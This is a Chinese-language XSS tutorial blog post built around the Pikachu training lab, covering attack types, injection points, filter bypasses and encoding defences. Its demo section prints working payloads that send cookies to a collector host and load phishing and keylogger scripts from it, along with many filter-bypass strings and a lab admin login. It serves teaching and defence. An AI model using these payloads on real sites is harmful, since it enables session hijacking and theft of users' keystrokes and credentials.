獨家分享:跨站腳本攻擊XSS詳解

2022-01-31 小唐說安全
跨站腳本攻擊XSS

跨站腳本攻擊概念介紹

跨站腳本攻擊產生原因

跨站腳本攻擊造成危害

跨站腳本攻擊分類介紹

反射型XSS或不持久型XSS(中危漏洞)

存儲性XSS或持久型XSS(高危漏洞)

DOM XSS(低危漏洞/中危漏洞)

跨站腳本攻擊存在地方

跨站腳本攻擊測試方法

跨站腳本攻擊實戰演示

xss平臺搭建及後臺使用(cookie獲取)

反射型XSS(POST)獲取用戶密碼

xss釣魚攻擊過程演示

xss獲取用戶鍵盤記錄

XSS跨站腳本攻擊盲打

跨站腳本攻擊繞過方法

跨站腳本攻擊防止繞過(函數)

跨站腳本攻擊常規防範

跨站腳本攻擊概念介紹

XSS全稱(Cross Site Scripting)跨站腳本攻擊,是最常見的Web應用程式安全漏洞之一,位於OWASP top 10 2013/2017年度分別為第三名和第七名,XSS是指攻擊者在網頁中嵌入客戶端腳本,通常是JavaScript編寫的危險代碼(payload),當用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。

從上面中的一段話,可以得知,XSS屬於客戶端攻擊,受害者最終是用戶,但特別要注意的是網站管理人員也屬於用戶之一。這就意味著XSS可以進行「服務端」攻擊,因為管理員要比普通用戶的權限大得多,一般管理員都可以對網站進行文件管理,數據管理等操作,而攻擊者一般也是靠管理員身份作為「跳板」進行實施攻擊。

XSS攻擊最終目的是在網頁中嵌入客戶端惡意腳本代碼, 最常用的攻擊代碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript。而如今的網際網路客戶端腳本基本是基於Javascript, 所以如果想要深入研究XSS,必須要精通Javascript。

XSS換句話說,JavaScript能做到什麼效果,XSS的胃口就有多大。這完全不是危言聳聽。javascript可以用來獲取用戶的cookie,彈出窗口,那麼存在XSS漏洞的網站,XSS就可以用來盜取用戶Cookie, 廢掉頁面,導航到惡意網站!更高端的XSS代碼完全可以進行監控你的鍵盤操作,模仿Windows註銷界面,誘導你輸入開機密碼!而攻擊者需要做的僅僅是向你的代碼中注入Javascript代碼!

xss跨站漏洞產生原理,危害,特點:
本質,產生層面,函數類,漏洞操作對應層,危害影響,瀏覽器內核版本等。

跨站腳本攻擊產生原因

程序對輸入和輸出的控制不夠嚴格, 導致"精心構造「的腳本輸入後, 在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。
簡單的頁面測試:http://192.168.100.54/pikachu/

『」><script>alert(123456) </script>

源網頁代碼信息
$html='';
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>輸入'kobe'試試-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>願你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}

跨站腳本攻擊造成危害

首先對於那些半年沒有更新的小企業網站來說,發生XSS漏洞幾乎沒有什麼用。一般在各類的社交平臺,郵件系統,開源流行的Web應用,BBS,微博等場景中,造成的殺傷力卻十分強大。

劫持用戶cookie是最常見的跨站攻擊形式,通過在網頁中寫入並執行腳本文件(多數情況下是JavaScript腳本代碼),劫持用戶瀏覽器,將用戶當前使用的sessionID信息發送至攻擊者控制的網站或伺服器中。

「框架釣魚」。利用JS腳本的基本功能之一:操作網頁中的DOM樹結構和內容,在網頁中通過JS腳本,生成虛假的頁面,欺騙用戶執行操作,而用戶所有的輸入內容都會被發送到攻擊者的伺服器上。

掛馬(水坑攻擊)

有局限性的鍵盤記錄

跨站腳本攻擊分類介紹反射型XSS或不持久型XSS(中危漏洞)

交互的數據一般不會被存在資料庫裡面,只是簡單的把用戶輸入的數據反射給瀏覽器,一次性,所見即所得。

如果一個應用程式使用動態頁面向用戶顯示錯誤消息,就會造成一種常見的XSS漏洞。通常,該頁面會使用一個包含消息文本的參數,並在響應中將這個文本返回給用戶。

<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
?>。

存儲性XSS或持久型XSS(高危漏洞)

交互的數據會被存在在資料庫裡面,永久性存儲,具有很強的穩定性。

DOM XSS(低危漏洞/中危漏洞)

不與後臺伺服器產生數據交互,通過前端的dom節點形成的XSS漏洞。

什麼是DOM:DOM全稱是Document Object Model,也就是文檔對象模型。我們可以將DOM理解為,一個與系統平臺和程式語言無關的接口,程序和腳本可以通過這個接口動態地訪問和修改文檔內容、結構和樣式。當創建好一個頁面並加載到瀏覽器時,DOM就悄然而生,它會把網頁文檔轉換為一個文檔對象,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到操作網頁的目的。

http://www.w3school.com.cn/htmldom/index.asp

<a href='"+str+"'>what do you see?</a>
<a href='#' onclick="alert(1111)">what do you see?</a>
<a href='#' onclick="alert(2222)">what do you see?</a>

原始碼示例信息:
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//試試:'><img src="#" onmouseover="alert('xss')">
//試試:' onclick="alert('xss')">,閉合掉就行
</script>

跨站腳本攻擊存在地方

在HTML代碼中包含相應xss漏洞代碼信息:

<p>
Hello {{Untrusted Data}} 變量=值(payload)
</p>

<p>
Hello <script>alert(「xss」)</script>
</p>

在對象屬性代碼中包含相應xss漏洞代碼信息:

<img src =」image.png」alt=」{{Untruted Data}}」>
<input type =」text」value=」{{Untruted Data}}」>
<body onload=」{{Untruted Data}}」>

<img src =」image.png」alt=」」onload=alert(「xss」) x=」」>
<input type =」text」value=」」 onfocus=alert(「xss」) autofocus x=」」>
<body onload=」javascript:alert(1)」>


<svg onload=alert(0)


'><svg onload='alert(0)


"><svg onload="alert(0)

在URL地址內容中包含相應xss漏洞代碼信息:

<iframe src=」{{Untrusted Data}}」>
<a href=」」>Link</a>
<META http-equiv=」refresh」content=」5;URL={{Untrused Data}}」>

<iframe src=」javascript:alert(1)」>
<a href=」data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=」>Link</a>
<META http-equiv=」refresh」content=」5;URL= data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3N=」>






<img style=」{{Untrusted Data}}」src=」image.png」 >
<style>
{{Untrusted Data}}
</style>

<img style=」xss:expression(alert(『xss』))」src=」image.png」 >
<style>
body{width:expression(alert(1))}
</style>



body{xss:expression(alert(0))},這是一個死循環,放入IE就會卡死,在虛擬機測試


expression(alert(0)),這是一個死循環,放入IE就會卡死,在虛擬機測試

<body onload=」javascript:{{Untrusted Data}}」 >
<script>
var x=』{{Untrusted Data}}』;
</script>

<body onload=」javascript: prompt(『xss』)」 >
<script>
var x=』』; alert(1);//
</script>


1;alert(0);//


1";alert(0);//

跨站腳本攻擊測試方法

使用手工檢測Web應用程式是否存在XSS漏洞時,最重要的是考慮那裡有輸入,輸入的數據在什麼地方輸出。在進行手工檢測XSS時,人畢竟不像軟體那樣不知疲憊,所以一定要選擇有特殊意義的字符,這樣可以快速測試是否存在XSS。

在目標站點上找到輸入點,比如查詢接口,留言板等;

輸入一組"特殊字符+唯一識別字符",點擊提交後,查看返回的源碼,是否有做對應的處理;

通過搜索定位到唯一字符,結合唯一字符前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;

跨站腳本攻擊實戰演示xss平臺搭建及後臺使用(cookie獲取)

利用xss反射型(get)漏洞攻擊進行展示
<script>document.location =
'http://192.168.110.22/pikachu/pkxss/xcookie/cookie.php?cookie=' +
document.cookie;</script>

//通過document.location 實例進行重定向到
http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=

反射型XSS(POST)獲取用戶密碼

post攻擊利用頁面(D:\phpStudy\WWW\pikachu\pkxss\xcookie\post.html)

利用xss反射型(post)漏洞攻擊進行展示
http://192.168.110.23:8080/post.html

xss釣魚攻擊過程演示

釣魚攻擊利用頁面(D:\phpStudy\WWW\pikachu\pkxss\xfish)

利用xss存儲型漏洞攻擊進行展示
<script src="http://192.168.110.22/pikachu/pkxss/xfish/fish.php"></script>

相關需要關注的文件信息:
http://192.168.110.22/pikachu/pkxss/xfish/fish.php
http://192.168.110.22/pikachu/pkxss/xfish/xfish.php

xss獲取用戶鍵盤記錄

1)什麼是跨域

http:// www. baidu.com :80 / news/index.php -- url地址
協議 子域名 主域名 埠 資源地址

http://www.heqing.com:80/test/info.html
http://bbs.heqing.com:80/test/info.html -- 與上面比較是不同域
https://www.heqing.com:80/test/info.html -- 與上面比較是不同域
http://www.heqing.com:8080/test/info.html -- 與上面比較是不同域
http://www.heqing.com:80/test/test.html -- 與上面比較屬於同域

當協議、主機(主域名,子域名)、埠中的任意一個不相同時,稱為不同域。我們把不同的域之間請求數據的操作,成為跨域操作。

2)同源策略
為了安全考慮,所有瀏覽器都約定了「同源策略」,同源策略禁止頁面加載或執行與自身來源不同的域的任何腳本既不同域之間不能使用JS進行操作。比如:x.com域名下的js不能操作y.com域名下的對象

http://www.heqing.com/index.php
http://bbs.heqing.com/index.php

那麼為什麼要有同源策略?比如一個惡意網站的頁面通過js嵌入了銀行的登錄頁面(二者不同源),如果沒有同源限制,惡意網頁上的javascript腳本就可以在用戶登錄銀行的時候獲取用戶名和密碼。

下面這些標籤跨域加載資源(資源類型是有限止的)是不受同源策略限制的

<script src="..."> //加載
<img src="..."> //圖片
<link href="..."> //css
<iframe src="..."> //任意資源

3)同源策略修改
D:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
同之前的案例到後臺設置好Access-Control-Allow-Origin,設置為*,既允許所有人訪問。

4)rk.js關鍵代碼解讀

/pikachu/pkxss/rkeypress/rk.js 查看文件信息
var realkey = String.fromCharCode(event.keyCode); //獲取用戶鍵盤記錄,最後轉化為字符串
xl+=realkey; //賦值給x1
show(); //調用show涵數,通過下面ajax進行post發送鍵盤記錄人內容

輸入設置好的惡意JS代碼:

<script src="http://192.168.110.22/pikachu/pkxss/rkeypress/rk.js"></script>

然後在鍵盤上隨意輸入,就可以到xss平臺上去查看鍵盤輸入的結果

XSS跨站腳本攻擊盲打

XSS盲打就是攻擊者在前端提交的數據不知道後臺是否存在xss漏洞的情況下,提交惡意JS代碼在類似留言板等輸入框後,所展現的後臺位置的情況下,網站採用了攻擊者插入的惡意代碼,當後臺管理員在操作時就會觸發插入的惡意代碼,從而達到攻擊者的目的。

管理員後臺:http://192.168.110.22/pikachu/vul/xss/xssblind/admin_login.php

用戶名:admin 密碼信息:123456

跨站腳本攻擊繞過方法

大多數網站為了避免xss的攻擊,對於攻擊者的輸入都採取了過濾的措施,導致攻擊者通常不能正常插入惡意代碼來達到攻擊目的。但是仍存在一些漏洞可以利用,來繞過過濾措施。

xss繞過的方法有許多,主要取決於攻擊者的思路和對前端技術的掌握,以下介紹幾個簡單的繞過方法。

例:<sCRipT>alert('你打籃球像test')</sCrIPt>

例:<sc<script>ript>alert('你打籃球像test')</scr<script>ipt>

例:<sc<!--test-->ript>alert('你打籃球像test')</scr<!--tshauie-->ipt>

例:使用事件屬性onerror(): <img src=# onerror="alert('test')"/>
使用HTML進行編碼:
<img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x68;&#x65;&#x71;&#x69;&#x6e;&#x67;&#x27;&#x29;"/>

跨站腳本攻擊防止繞過(函數)

htmlspecialchars()函數把一些預定義的字符轉換為 HTML 實體。
預定義的字符是:

該函數的語法:](https://img-blog.csdnimg.cn/20210708195652114.png)

htmlspecialchars(string,flags,character-set,double_encode)
用法參考連結:
https://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

過濾原理:htmlspecialchars() 函數把預定義的字符轉換為 HTML 實體,從而使XSS攻擊失效。但是這個函數默認配置不會將單引號和雙引號過濾,只有設置了quotestyle規定如何編碼單引號和雙引號才能會過濾掉單引號

可用的quotestyle類型:
ENT_COMPAT - 默認。僅編碼雙引號
ENT_QUOTES - 編碼雙引號和單引號
ENT_NOQUOTES - 不編碼任何引號
可使用以下語句繞過: q' onclick='alert(111)'

跨站腳本攻擊常規防範

XSS防禦的總體思路是:對輸入進行過濾,對輸出進行編碼

xss之href輸出繞過:javascript:alert(1111) 直接代入a標籤herf裡面一樣可以繞過htmlspecialchars

xss之js輸出繞過:

<script>
$ms='11'</script><script>alert(1111)</script> ;
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac確實厲害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('無論如何不要放棄心中所愛..')
}

}
</script>

相關焦點

  • 跨站腳本攻擊(XSS)
    跨站腳本攻擊的英文全稱是Cross Site Script,為了和樣式表區分
  • web漏洞挖掘指南 -XSS跨站腳本攻擊
    跨站腳本英文全稱(Cross Site Scripting跨站腳本),為了不和css層疊樣式表(英文全稱:Cascading Style Sheets)混淆,因此將跨站腳本縮寫為XSS。產生XSS漏洞根本原因其實是web應用未對用戶的輸入進行嚴格的過濾和轉義,導致攻擊者可從正常的輸入功能注入腳本代碼,我常將xss攻擊理解為一種javascript注入,當帶有xss惡意代碼的頁面被其他用戶訪問到時,js便會被執行,js腳本可以執行很多操作,比如:竊取用戶cookie,讀取用戶鍵盤記錄,截屏,惡意跳轉等,甚至可以結合BEEF的hook.js鉤子劫持用戶瀏覽器。
  • XSS跨站腳本攻擊及分類
    XSS (Cross Site Scripting),即跨站腳本攻擊,是一種常見於 Web 應用中的計算機安全漏洞。
  • XSS(跨站腳本攻擊)的最全總結
    當一個攻擊者通過一個網站應用程式,以瀏覽器端腳本的形式,給另一端的用戶發送惡意代碼時,XSS攻擊就發生了。允許這種攻擊成功的缺陷廣泛存在於各個大小網站,只要這個網站某個頁面將用戶的輸入包含在它生成的動態輸出頁面中並且未經驗證或編碼轉義,這個缺陷就存在。 攻擊者使用XSS發送惡意腳本給一個不持懷疑態度的用戶,用戶端的瀏覽器沒法知道腳本可不可信,從而執行該js腳本。
  • 跨站腳本攻擊:如何防止XSS漏洞?
    XSS攻擊可用於獲得對特權信息的訪問,本文講的就是應對它們的方法。美國國土安全部(Department of Homeland Security)目前向聯邦機構發出警告,要警惕一種特別具有攻擊性的網絡攻擊形式——跨站腳本攻擊(XSS)。
  • 挖洞思路 | XSS跨站腳本攻擊漏洞挖掘技巧總結
    3.B站在線學習連結由於分享的資源連結經常被和諧,所以必須遷移到B站上供大家學習B站up主官方帳號:VMYKnetwork團隊XSS的原理和分類跨站腳本攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。
  • (XSS跨站腳本攻擊)
    1.XSS介紹跨站腳本攻擊,英⽂全稱是Cross Site Scripting,為了和前端編程語
  • 聊一聊XSS——跨站腳本攻擊
    跨站腳本攻擊(XSS)是一種將惡意腳本注入到可信任網站中的一種攻擊方式。在XSS攻擊中,攻擊者利用web應用程式將惡意代碼發送至終端用戶。這些惡意腳本通常經由瀏覽器端形式呈現, 惡意攻擊者往web頁面裡插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入web頁面中的Script代碼就會被執行,這樣即可達到惡意攻擊用戶的目的。
  • 遭遇 XSS 跨站腳本攻擊?穩住,這些方法可保你渡劫 | 附代碼、圖解
    本文將詳細講解XSS跨站腳本攻擊,從原理、示例、危害到三種常見類型(反射型、存儲型、DOM型),並結合代碼示例進行詳細講解,最後分享了如何預防XSS攻擊。也稱為非持久型、參數型跨站腳本。這種類型的跨站腳本是最常見,也是使用最廣泛的一種,主要用於惡意腳本附加到URL地址的參數中。一般出現在輸入框、URL參數處。持久型跨站腳本也可以說是存儲型跨站腳本,比反射型XSS更具威脅性,並且可能影響到Web伺服器自身安全。一般出現在網站的留言、評論、博客日誌等於用戶交互處。
  • Web 安全 - 跨站腳本攻擊 XSS 三種類型及防禦措施
    XSS(Cross Site Scripting)是一種代碼注入方式的跨站腳本攻擊,為了與層疊樣式表 CSS 區分,而簡稱 XSS。起因通常是由於黑客往 HTML、DOM 中插入了網站沒有校驗的惡意腳本,當用戶瀏覽時,瀏覽器無法確認這些腳本是正常的還是注入的頁面內容,當執行到這些惡意腳本時就會對用戶進行 cookie 竊取、監聽用戶行為收集信息發往黑客伺服器、會話劫持和修改頁面 DOM 惡意攻擊等。
  • XSS跨站腳本攻擊剖析與防禦
    跨站腳本(Cross-Site Scripting,XSS)是一種經常出現在Web應用程式中的計算機安全漏洞,是由於Web應用程式對用戶的輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和客戶端Javascript腳本)注入到網頁之中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害者可能採取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。
  • Web 安全之跨站腳本攻擊(XSS)
    > (點擊上方公眾號,可快速關注)來源:今日頭條技術博客techblog.toutiao.com/2017/06/06/xss
  • ​PHP 跨站腳本漏洞解析
    這是 OWASP 對跨站腳本漏洞(Cross-Site Scripting)的描述。大意為「當惡意腳本被注入到原本安全並可信任的網站中,攻擊者使用Web應用程式將惡意代碼發送給其他用戶時,便會觸發跨站腳本漏洞」。
  • XSS 與 CSRF 兩種跨站攻擊
    但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。XSS:腳本中的不速之客XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。
  • 跨站腳本漏洞(XSS)基礎講解
    二、XSS 漏洞簡介    跨站腳本攻擊是指惡意攻擊者往Web頁面裡插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。xss 分類:(三類)反射型XSS:<非持久化> 攻擊者事先製作好攻擊連結, 需要欺騙用戶自己去點擊連結才能觸發XSS代碼(伺服器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
  • XSS攻擊入門
    反射性XSS  XSS又叫CSS(Cross Site Script)跨站腳本攻擊。
  • 跨站腳本漏洞(XSS)的學習筆記
    與反射型xss類似,將該網頁url發送給攻擊目標即可執行惡意代碼。http://www.p2.com/vul/xss/xss_dom_x.php?text=%23%27+onclick%3D%22alert%28111%29%22%3E#
  • Kali Linux Web滲透測試手冊(第二版) - 9.2 - 對跨站腳本攻擊(xss)進行混淆代碼測試
    9.0、介紹9.1、如何繞過xss輸入驗證9.2、對跨站腳本攻擊(xss)進行混淆代碼測試9.3、繞後文件上傳限制9.4、繞過web伺服器的CORS限制9.5、使用跨站點腳本繞過CSRF保護和CORS限制9.6、利用HTTP參數汙染9.7
  • xss攻擊利用(心得)
    不過得確,我們現在所接觸到的xss就是一個xss來證明它存在xss漏洞就可以了,但是xss的功能就只有一個彈窗麼?可遠遠不止哦!      我們先來簡單的介紹一下xss:xss又叫CSS(Cross-SiteScripting),跨站腳本攻擊。惡意攻擊者往Web頁面裡插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意用戶的特殊目的。
  • Web漏洞 | XSS(跨站攻擊腳本)詳解
    如下圖該連結的為:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>那麼,我們要怎麼構造惡意代碼來誘使用戶點擊並且用戶點擊後不會發現點擊了惡意連結呢?